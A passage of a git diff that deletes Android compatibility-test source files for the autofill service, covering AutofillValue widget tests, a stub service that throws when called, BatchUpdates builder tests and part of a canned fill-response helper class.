-        assertThrows(IllegalStateException.class, v::getDateValue);
-    }
-
-    @Test
-    public void createListValue() throws Exception {
-        assertThat(AutofillValue.forList(-1).getListValue()).isEqualTo(-1);
-        assertThat(AutofillValue.forList(0).getListValue()).isEqualTo(0);
-        assertThat(AutofillValue.forList(1).getListValue()).isEqualTo(1);
-
-        assertThat(AutofillValue.forList(0).isText()).isFalse();
-        assertThat(AutofillValue.forList(0).isToggle()).isFalse();
-        assertThat(AutofillValue.forList(0).isList()).isTrue();
-        assertThat(AutofillValue.forList(0).isDate()).isFalse();
-
-        final AutofillValue v = AutofillValue.forList(0);
-
-        assertThrows(IllegalStateException.class, v::getTextValue);
-        assertThrows(IllegalStateException.class, v::getToggleValue);
-        assertThrows(IllegalStateException.class, v::getDateValue);
-    }
-
-    @Test
-    public void createDateValue() throws Exception {
-        assertThat(AutofillValue.forDate(-1).getDateValue()).isEqualTo(-1);
-        assertThat(AutofillValue.forDate(0).getDateValue()).isEqualTo(0);
-        assertThat(AutofillValue.forDate(1).getDateValue()).isEqualTo(1);
-
-        assertThat(AutofillValue.forDate(0).isText()).isFalse();
-        assertThat(AutofillValue.forDate(0).isToggle()).isFalse();
-        assertThat(AutofillValue.forDate(0).isList()).isFalse();
-        assertThat(AutofillValue.forDate(0).isDate()).isTrue();
-
-        final AutofillValue v = AutofillValue.forDate(0);
-
-        assertThrows(IllegalStateException.class, v::getTextValue);
-        assertThrows(IllegalStateException.class, v::getToggleValue);
-        assertThrows(IllegalStateException.class, v::getListValue);
-    }
-
-    /**
-     * Trigger autofill on a view.
-     *
-     * @param view The view to trigger the autofill on
-     */
-    private void startAutoFill(@NonNull View view) throws Exception {
-        mActivity.syncRunOnUiThread(() -> {
-            view.clearFocus();
-            view.requestFocus();
-        });
-
-        sReplier.getNextFillRequest();
-    }
-
-    private void autofillEditText(@Nullable AutofillValue value, String expectedText,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("editText", value)
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
-                expectedText);
-        mEditText.addTextChangedListener(textWatcher);
-
-        // Trigger autofill.
-        startAutoFill(mEditText);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            textWatcher.assertAutoFilled();
-        } else {
-            assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
-        }
-    }
-
-    @Test
-    public void autofillValidTextValue() throws Exception {
-        autofillEditText(AutofillValue.forText("filled"), "filled", true);
-    }
-
-    @Test
-    public void autofillEmptyTextValue() throws Exception {
-        autofillEditText(AutofillValue.forText(""), "", true);
-    }
-
-    @Test
-    public void autofillTextWithListValue() throws Exception {
-        autofillEditText(AutofillValue.forList(0), "", false);
-    }
-
-    @Test
-    public void getEditTextAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setText("test"));
-        assertThat(mEditText.getAutofillValue()).isEqualTo(AutofillValue.forText("test"));
-
-        mActivity.syncRunOnUiThread(() -> mEditText.setEnabled(false));
-        assertThat(mEditText.getAutofillValue()).isNull();
-    }
-
-    private void autofillCompoundButton(@Nullable AutofillValue value, boolean expectedValue,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mCompoundButton.setVisibility(View.VISIBLE));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("compoundButton", value)
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
-                    "compoundButton", mCompoundButton, expectedValue);
-        mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
-
-        startAutoFill(mCompoundButton);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            checkedWatcher.assertAutoFilled();
-        } else {
-            assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
-        }
-    }
-
-    @Test
-    public void autofillToggleValueWithTrue() throws Exception {
-        autofillCompoundButton(AutofillValue.forToggle(true), true, true);
-    }
-
-    @Test
-    public void autofillToggleValueWithFalse() throws Exception {
-        autofillCompoundButton(AutofillValue.forToggle(false), false, false);
-    }
-
-    @Test
-    public void autofillCompoundButtonWithTextValue() throws Exception {
-        autofillCompoundButton(AutofillValue.forText(""), false, false);
-    }
-
-    @Test
-    public void getCompoundButtonAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mCompoundButton.setChecked(true));
-        assertThat(mCompoundButton.getAutofillValue()).isEqualTo(AutofillValue.forToggle(true));
-
-        mActivity.syncRunOnUiThread(() -> mCompoundButton.setEnabled(false));
-        assertThat(mCompoundButton.getAutofillValue()).isNull();
-    }
-
-    private void autofillListValue(@Nullable AutofillValue value, int expectedValue,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mSpinner.setVisibility(View.VISIBLE));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("spinner", value)
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
-                "spinner", mSpinner, expectedValue);
-        mSpinner.setOnItemSelectedListener(spinnerWatcher);
-
-        startAutoFill(mSpinner);
-
-        // Autofill it.
-        mUiBot.selectDatasetSync("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            spinnerWatcher.assertAutoFilled();
-        } else {
-            assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
-        }
-    }
-
-    @Test
-    public void autofillZeroListValueToSpinner() throws Exception {
-        autofillListValue(AutofillValue.forList(0), 0, false);
-    }
-
-    @Test
-    public void autofillOneListValueToSpinner() throws Exception {
-        autofillListValue(AutofillValue.forList(1), 1, true);
-    }
-
-    @Test
-    public void autofillInvalidListValueToSpinner() throws Exception {
-        autofillListValue(AutofillValue.forList(-1), 0, false);
-    }
-
-    @Test
-    public void autofillSpinnerWithTextValue() throws Exception {
-        autofillListValue(AutofillValue.forText(""), 0, false);
-    }
-
-    @Test
-    public void getSpinnerAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mSpinner.setSelection(1));
-        assertThat(mSpinner.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
-
-        mActivity.syncRunOnUiThread(() -> mSpinner.setEnabled(false));
-        assertThat(mSpinner.getAutofillValue()).isNull();
-    }
-
-    private void autofillDateValueToDatePicker(@Nullable AutofillValue value,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> {
-            mEditText.setVisibility(View.VISIBLE);
-            mDatePicker.setVisibility(View.VISIBLE);
-        });
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("datePicker", value)
-                .setField("editText", "filled")
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
-                2017, 3, 7);
-        mDatePicker.setOnDateChangedListener(dateWatcher);
-
-        int nonAutofilledYear = mDatePicker.getYear();
-        int nonAutofilledMonth = mDatePicker.getMonth();
-        int nonAutofilledDay = mDatePicker.getDayOfMonth();
-
-        // Trigger autofill.
-        startAutoFill(mEditText);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            dateWatcher.assertAutoFilled();
-        } else {
-            Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
-                    nonAutofilledDay);
-        }
-    }
-
-    private long getDateAsMillis(int year, int month, int day, int hour, int minute) {
-        Calendar calendar = Calendar.getInstance(
-                mActivity.getResources().getConfiguration().getLocales().get(0));
-
-        calendar.set(year, month, day, hour, minute);
-
-        return calendar.getTimeInMillis();
-    }
-
-    @Test
-    public void autofillValidDateValueToDatePicker() throws Exception {
-        autofillDateValueToDatePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
-                true);
-    }
-
-    @Test
-    public void autofillDatePickerWithTextValue() throws Exception {
-        autofillDateValueToDatePicker(AutofillValue.forText(""), false);
-    }
-
-    @Test
-    public void getDatePickerAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mDatePicker.updateDate(2017, 3, 7));
-
-        Helper.assertDateValue(mDatePicker, 2017, 3, 7);
-
-        mActivity.syncRunOnUiThread(() -> mDatePicker.setEnabled(false));
-        assertThat(mDatePicker.getAutofillValue()).isNull();
-    }
-
-    private void autofillDateValueToTimePicker(@Nullable AutofillValue value,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> {
-            mEditText.setVisibility(View.VISIBLE);
-            mTimePicker.setIs24HourView(true);
-            mTimePicker.setVisibility(View.VISIBLE);
-        });
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("timePicker", value)
-                .setField("editText", "filled")
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 1,
-                mTimePicker, 12, 32);
-        mTimePicker.setOnTimeChangedListener(timeWatcher);
-
-        int nonAutofilledHour = mTimePicker.getHour();
-        int nonAutofilledMinute = mTimePicker.getMinute();
-
-        // Trigger autofill.
-        startAutoFill(mEditText);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            timeWatcher.assertAutoFilled();
-        } else {
-            Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
-        }
-    }
-
-    @Test
-    public void autofillValidDateValueToTimePicker() throws Exception {
-        autofillDateValueToTimePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
-                true);
-    }
-
-    @Test
-    public void autofillTimePickerWithTextValue() throws Exception {
-        autofillDateValueToTimePicker(AutofillValue.forText(""), false);
-    }
-
-    @Test
-    public void getTimePickerAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> {
-            mTimePicker.setHour(12);
-            mTimePicker.setMinute(32);
-        });
-
-        Helper.assertTimeValue(mTimePicker, 12, 32);
-
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setEnabled(false));
-        assertThat(mTimePicker.getAutofillValue()).isNull();
-    }
-
-    private void autofillRadioGroup(@Nullable AutofillValue value, int expectedValue,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
-        mActivity.syncRunOnUiThread(() -> mRadioGroup.setVisibility(View.VISIBLE));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("radioGroup", value)
-                .setField("editText", "filled")
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
-                "radioGroup", 2, mRadioGroup, expectedValue);
-        mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
-
-        // Trigger autofill.
-        startAutoFill(mEditText);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            radioGroupWatcher.assertAutoFilled();
-        } else {
-            if (expectedValue == 0) {
-                assertThat(mRadioButton1.isChecked()).isEqualTo(true);
-                assertThat(mRadioButton2.isChecked()).isEqualTo(false);
-            } else {
-                assertThat(mRadioButton1.isChecked()).isEqualTo(false);
-                assertThat(mRadioButton2.isChecked()).isEqualTo(true);
-
-            }
-        }
-    }
-
-    @Test
-    public void autofillZeroListValueToRadioGroup() throws Exception {
-        autofillRadioGroup(AutofillValue.forList(0), 0, false);
-    }
-
-    @Test
-    public void autofillOneListValueToRadioGroup() throws Exception {
-        autofillRadioGroup(AutofillValue.forList(1), 1, true);
-    }
-
-    @Test
-    public void autofillInvalidListValueToRadioGroup() throws Exception {
-        autofillRadioGroup(AutofillValue.forList(-1), 0, false);
-    }
-
-    @Test
-    public void autofillRadioGroupWithTextValue() throws Exception {
-        autofillRadioGroup(AutofillValue.forText(""), 0, false);
-    }
-
-    @Test
-    public void getRadioGroupAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mRadioButton2.setChecked(true));
-        assertThat(mRadioGroup.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
-
-        mActivity.syncRunOnUiThread(() -> mRadioGroup.setEnabled(false));
-        assertThat(mRadioGroup.getAutofillValue()).isNull();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
deleted file mode 100644
index 19a8ec1..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.CancellationSignal;
-import android.service.autofill.AutofillService;
-import android.service.autofill.FillCallback;
-import android.service.autofill.FillRequest;
-import android.service.autofill.SaveCallback;
-import android.service.autofill.SaveRequest;
-import android.util.Log;
-
-/**
- * An {@link AutofillService} implementation that does fails if called upon.
- */
-public class BadAutofillService extends AutofillService {
-
-    private static final String TAG = "BadAutofillService";
-
-    static final String SERVICE_NAME = BadAutofillService.class.getPackage().getName()
-            + "/." + BadAutofillService.class.getSimpleName();
-    static final String SERVICE_LABEL = "BadAutofillService";
-
-    @Override
-    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
-            FillCallback callback) {
-        Log.e(TAG, "onFillRequest() should never be called");
-        throw new UnsupportedOperationException("onFillRequest() should never be called");
-    }
-
-    @Override
-    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
-        Log.e(TAG, "onSaveRequest() should never be called");
-        throw new UnsupportedOperationException("onSaveRequest() should never be called");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
deleted file mode 100644
index b063342..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.InternalTransformation;
-import android.service.autofill.Transformation;
-import android.widget.RemoteViews;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class BatchUpdatesTest {
-
-    private final BatchUpdates.Builder mBuilder = new BatchUpdates.Builder();
-
-    @Test
-    public void testAddTransformation_null() {
-        assertThrows(IllegalArgumentException.class, () ->  mBuilder.transformChild(42, null));
-    }
-
-    @Test
-    public void testAddTransformation_invalidClass() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  mBuilder.transformChild(42, mock(Transformation.class)));
-    }
-
-    @Test
-    public void testSetUpdateTemplate_null() {
-        assertThrows(NullPointerException.class, () ->  mBuilder.updateTemplate(null));
-    }
-
-    @Test
-    public void testEmptyObject() {
-        assertThrows(IllegalStateException.class, () ->  mBuilder.build());
-    }
-
-    @Test
-    public void testNoMoreChangesAfterBuild() {
-        assertThat(mBuilder.updateTemplate(mock(RemoteViews.class)).build()).isNotNull();
-        assertThrows(IllegalStateException.class,
-                () ->  mBuilder.updateTemplate(mock(RemoteViews.class)));
-        assertThrows(IllegalStateException.class,
-                () ->  mBuilder.transformChild(42, mock(InternalTransformation.class)));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
deleted file mode 100644
index 3fd6ce6..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ /dev/null
@@ -1,888 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.createInlinePresentation;
-import static android.autofillservice.cts.Helper.createPresentation;
-import static android.autofillservice.cts.Helper.getAutofillIds;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.app.assist.AssistStructure.ViewNode;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.service.autofill.Dataset;
-import android.service.autofill.FillCallback;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillResponse;
-import android.service.autofill.InlinePresentation;
-import android.service.autofill.SaveInfo;
-import android.service.autofill.UserData;
-import android.util.Log;
-import android.util.Pair;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.RemoteViews;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.function.Function;
-import java.util.regex.Pattern;
-
-/**
- * Helper class used to produce a {@link FillResponse} based on expected fields that should be
- * present in the {@link AssistStructure}.
- *
- * <p>Typical usage:
- *
- * <pre class="prettyprint">
- * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
- *               .addDataset(new CannedDataset.Builder("dataset_name")
- *                   .setField("resource_id1", AutofillValue.forText("value1"))
- *                   .setField("resource_id2", AutofillValue.forText("value2"))
- *                   .build())
- *               .build());
- * </pre class="prettyprint">
- */
-public final class CannedFillResponse {
-
-    private static final String TAG = CannedFillResponse.class.getSimpleName();
-
-    private final ResponseType mResponseType;
-    private final List<CannedDataset> mDatasets;
-    private final String mFailureMessage;
-    private final int mSaveType;
-    private final String[] mRequiredSavableIds;
-    private final String[] mOptionalSavableIds;
-    private final AutofillId[] mRequiredSavableAutofillIds;
-    private final CharSequence mSaveDescription;
-    private final Bundle mExtras;
-    private final RemoteViews mPresentation;
-    private final InlinePresentation mInlinePresentation;
-    private final RemoteViews mHeader;
-    private final RemoteViews mFooter;
-    private final IntentSender mAuthentication;
-    private final String[] mAuthenticationIds;
-    private final String[] mIgnoredIds;
-    private final int mNegativeActionStyle;
-    private final IntentSender mNegativeActionListener;
-    private final int mPositiveActionStyle;
-    private final int mSaveInfoFlags;
-    private final int mFillResponseFlags;
-    private final AutofillId mSaveTriggerId;
-    private final long mDisableDuration;
-    private final String[] mFieldClassificationIds;
-    private final boolean mFieldClassificationIdsOverflow;
-    private final SaveInfoDecorator mSaveInfoDecorator;
-    private final UserData mUserData;
-    private final DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
-    private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
-    private final int[] mCancelIds;
-
-    private CannedFillResponse(Builder builder) {
-        mResponseType = builder.mResponseType;
-        mDatasets = builder.mDatasets;
-        mFailureMessage = builder.mFailureMessage;
-        mRequiredSavableIds = builder.mRequiredSavableIds;
-        mRequiredSavableAutofillIds = builder.mRequiredSavableAutofillIds;
-        mOptionalSavableIds = builder.mOptionalSavableIds;
-        mSaveDescription = builder.mSaveDescription;
-        mSaveType = builder.mSaveType;
-        mExtras = builder.mExtras;
-        mPresentation = builder.mPresentation;
-        mInlinePresentation = builder.mInlinePresentation;
-        mHeader = builder.mHeader;
-        mFooter = builder.mFooter;
-        mAuthentication = builder.mAuthentication;
-        mAuthenticationIds = builder.mAuthenticationIds;
-        mIgnoredIds = builder.mIgnoredIds;
-        mNegativeActionStyle = builder.mNegativeActionStyle;
-        mNegativeActionListener = builder.mNegativeActionListener;
-        mPositiveActionStyle = builder.mPositiveActionStyle;
-        mSaveInfoFlags = builder.mSaveInfoFlags;
-        mFillResponseFlags = builder.mFillResponseFlags;
-        mSaveTriggerId = builder.mSaveTriggerId;
-        mDisableDuration = builder.mDisableDuration;
-        mFieldClassificationIds = builder.mFieldClassificationIds;
-        mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
-        mSaveInfoDecorator = builder.mSaveInfoDecorator;
-        mUserData = builder.mUserData;
-        mVisitor = builder.mVisitor;
-        mSaveInfoVisitor = builder.mSaveInfoVisitor;
-        mCancelIds = builder.mCancelIds;
-    }
-
-    /**
-     * Constant used to pass a {@code null} response to the
-     * {@link FillCallback#onSuccess(FillResponse)} method.
-     */
-    public static final CannedFillResponse NO_RESPONSE =
-            new Builder(ResponseType.NULL).build();
-
-    /**
-     * Constant used to fail the test when an expected request was made.
-     */
-    public static final CannedFillResponse NO_MOAR_RESPONSES =
-            new Builder(ResponseType.NO_MORE).build();
-
-    /**
-     * Constant used to emulate a timeout by not calling any method on {@link FillCallback}.
-     */
-    public static final CannedFillResponse DO_NOT_REPLY_RESPONSE =
-            new Builder(ResponseType.TIMEOUT).build();
-
-    /**
-     * Constant used to call {@link FillCallback#onFailure(CharSequence)} method.
-     */
-    public static final CannedFillResponse FAIL =
-            new Builder(ResponseType.FAILURE).build();
-
-    public String getFailureMessage() {
-        return mFailureMessage;
-    }
-
-    public ResponseType getResponseType() {
-        return mResponseType;
-    }
-
-    /**
-     * Creates a new response, replacing the dataset field ids by the real ids from the assist
-     * structure.
-     */
-    public FillResponse asFillResponse(@Nullable List<FillContext> contexts,
-            @NonNull Function<String, ViewNode> nodeResolver) {
-        final FillResponse.Builder builder = new FillResponse.Builder()
-                .setFlags(mFillResponseFlags);
-        if (mDatasets != null) {
-            for (CannedDataset cannedDataset : mDatasets) {
-                final Dataset dataset = cannedDataset.asDataset(nodeResolver);
-                assertWithMessage("Cannot create datase").that(dataset).isNotNull();
-                builder.addDataset(dataset);
-            }
-        }
-        final SaveInfo.Builder saveInfoBuilder;
-        if (mRequiredSavableIds != null || mOptionalSavableIds != null
-                || mRequiredSavableAutofillIds != null || mSaveInfoDecorator != null) {
-            if (mRequiredSavableAutofillIds != null) {
-                saveInfoBuilder = new SaveInfo.Builder(mSaveType, mRequiredSavableAutofillIds);
-            } else {
-                saveInfoBuilder = mRequiredSavableIds == null || mRequiredSavableIds.length == 0
-                        ? new SaveInfo.Builder(mSaveType)
-                            : new SaveInfo.Builder(mSaveType,
-                                    getAutofillIds(nodeResolver, mRequiredSavableIds));
-            }
-
-            saveInfoBuilder.setFlags(mSaveInfoFlags);
-
-            if (mOptionalSavableIds != null) {
-                saveInfoBuilder.setOptionalIds(getAutofillIds(nodeResolver, mOptionalSavableIds));
-            }
-            if (mSaveDescription != null) {
-                saveInfoBuilder.setDescription(mSaveDescription);
-            }
-            if (mNegativeActionListener != null) {
-                saveInfoBuilder.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
-            }
-
-            saveInfoBuilder.setPositiveAction(mPositiveActionStyle);
-
-            if (mSaveTriggerId != null) {
-                saveInfoBuilder.setTriggerId(mSaveTriggerId);
-            }
-        } else if (mSaveInfoFlags != 0) {
-            saveInfoBuilder = new SaveInfo.Builder(mSaveType).setFlags(mSaveInfoFlags);
-        } else {
-            saveInfoBuilder = null;
-        }
-        if (saveInfoBuilder != null) {
-            // TODO: merge decorator and visitor
-            if (mSaveInfoDecorator != null) {
-                mSaveInfoDecorator.decorate(saveInfoBuilder, nodeResolver);
-            }
-            if (mSaveInfoVisitor != null) {
-                Log.d(TAG, "Visiting saveInfo " + saveInfoBuilder);
-                mSaveInfoVisitor.visit(contexts, saveInfoBuilder);
-            }
-            final SaveInfo saveInfo = saveInfoBuilder.build();
-            Log.d(TAG, "saveInfo:" + saveInfo);
-            builder.setSaveInfo(saveInfo);
-        }
-        if (mIgnoredIds != null) {
-            builder.setIgnoredIds(getAutofillIds(nodeResolver, mIgnoredIds));
-        }
-        if (mAuthenticationIds != null) {
-            builder.setAuthentication(getAutofillIds(nodeResolver, mAuthenticationIds),
-                    mAuthentication, mPresentation, mInlinePresentation);
-        }
-        if (mDisableDuration > 0) {
-            builder.disableAutofill(mDisableDuration);
-        }
-        if (mFieldClassificationIdsOverflow) {
-            final int length = UserData.getMaxFieldClassificationIdsSize() + 1;
-            final AutofillId[] fieldIds = new AutofillId[length];
-            for (int i = 0; i < length; i++) {
-                fieldIds[i] = new AutofillId(i);
-            }
-            builder.setFieldClassificationIds(fieldIds);
-        } else if (mFieldClassificationIds != null) {
-            builder.setFieldClassificationIds(
-                    getAutofillIds(nodeResolver, mFieldClassificationIds));
-        }
-        if (mExtras != null) {
-            builder.setClientState(mExtras);
-        }
-        if (mHeader != null) {
-            builder.setHeader(mHeader);
-        }
-        if (mFooter != null) {
-            builder.setFooter(mFooter);
-        }
-        if (mUserData != null) {
-            builder.setUserData(mUserData);
-        }
-        if (mVisitor != null) {
-            Log.d(TAG, "Visiting " + builder);
-            mVisitor.visit(contexts, builder);
-        }
-        builder.setPresentationCancelIds(mCancelIds);
-
-        final FillResponse response = builder.build();
-        Log.v(TAG, "Response: " + response);
-        return response;
-    }
-
-    @Override
-    public String toString() {
-        return "CannedFillResponse: [type=" + mResponseType
-                + ",datasets=" + mDatasets
-                + ", requiredSavableIds=" + Arrays.toString(mRequiredSavableIds)
-                + ", optionalSavableIds=" + Arrays.toString(mOptionalSavableIds)
-                + ", requiredSavableAutofillIds=" + Arrays.toString(mRequiredSavableAutofillIds)
-                + ", saveInfoFlags=" + mSaveInfoFlags
-                + ", fillResponseFlags=" + mFillResponseFlags
-                + ", failureMessage=" + mFailureMessage
-                + ", saveDescription=" + mSaveDescription
-                + ", hasPresentation=" + (mPresentation != null)
-                + ", hasInlinePresentation=" + (mInlinePresentation != null)
-                + ", hasHeader=" + (mHeader != null)
-                + ", hasFooter=" + (mFooter != null)
-                + ", hasAuthentication=" + (mAuthentication != null)
-                + ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
-                + ", ignoredIds=" + Arrays.toString(mIgnoredIds)
-                + ", saveTriggerId=" + mSaveTriggerId
-                + ", disableDuration=" + mDisableDuration
-                + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
-                + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
-                + ", saveInfoDecorator=" + mSaveInfoDecorator
-                + ", userData=" + mUserData
-                + ", visitor=" + mVisitor
-                + ", saveInfoVisitor=" + mSaveInfoVisitor
-                + "]";
-    }
-
-    public enum ResponseType {
-        NORMAL,
-        NULL,
-        NO_MORE,
-        TIMEOUT,
-        FAILURE,
-        DELAY
-    }
-
-    public static final class Builder {
-        private final List<CannedDataset> mDatasets = new ArrayList<>();
-        private final ResponseType mResponseType;
-        private String mFailureMessage;
-        private String[] mRequiredSavableIds;
-        private String[] mOptionalSavableIds;
-        private AutofillId[] mRequiredSavableAutofillIds;
-        private CharSequence mSaveDescription;
-        public int mSaveType = -1;
-        private Bundle mExtras;
-        private RemoteViews mPresentation;
-        private InlinePresentation mInlinePresentation;
-        private RemoteViews mFooter;
-        private RemoteViews mHeader;
-        private IntentSender mAuthentication;
-        private String[] mAuthenticationIds;
-        private String[] mIgnoredIds;
-        private int mNegativeActionStyle;
-        private IntentSender mNegativeActionListener;
-        private int mPositiveActionStyle;
-        private int mSaveInfoFlags;
-        private int mFillResponseFlags;
-        private AutofillId mSaveTriggerId;
-        private long mDisableDuration;
-        private String[] mFieldClassificationIds;
-        private boolean mFieldClassificationIdsOverflow;
-        private SaveInfoDecorator mSaveInfoDecorator;
-        private UserData mUserData;
-        private DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
-        private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
-        private int[] mCancelIds;
-
-        public Builder(ResponseType type) {
-            mResponseType = type;
-        }
-
-        public Builder() {
-            this(ResponseType.NORMAL);
-        }
-
-        public Builder addDataset(CannedDataset dataset) {
-            assertWithMessage("already set failure").that(mFailureMessage).isNull();
-            mDatasets.add(dataset);
-            return this;
-        }
-
-        /**
-         * Sets the required savable ids based on their {@code resourceId}.
-         */
-        public Builder setRequiredSavableIds(int type, String... ids) {
-            mSaveType = type;
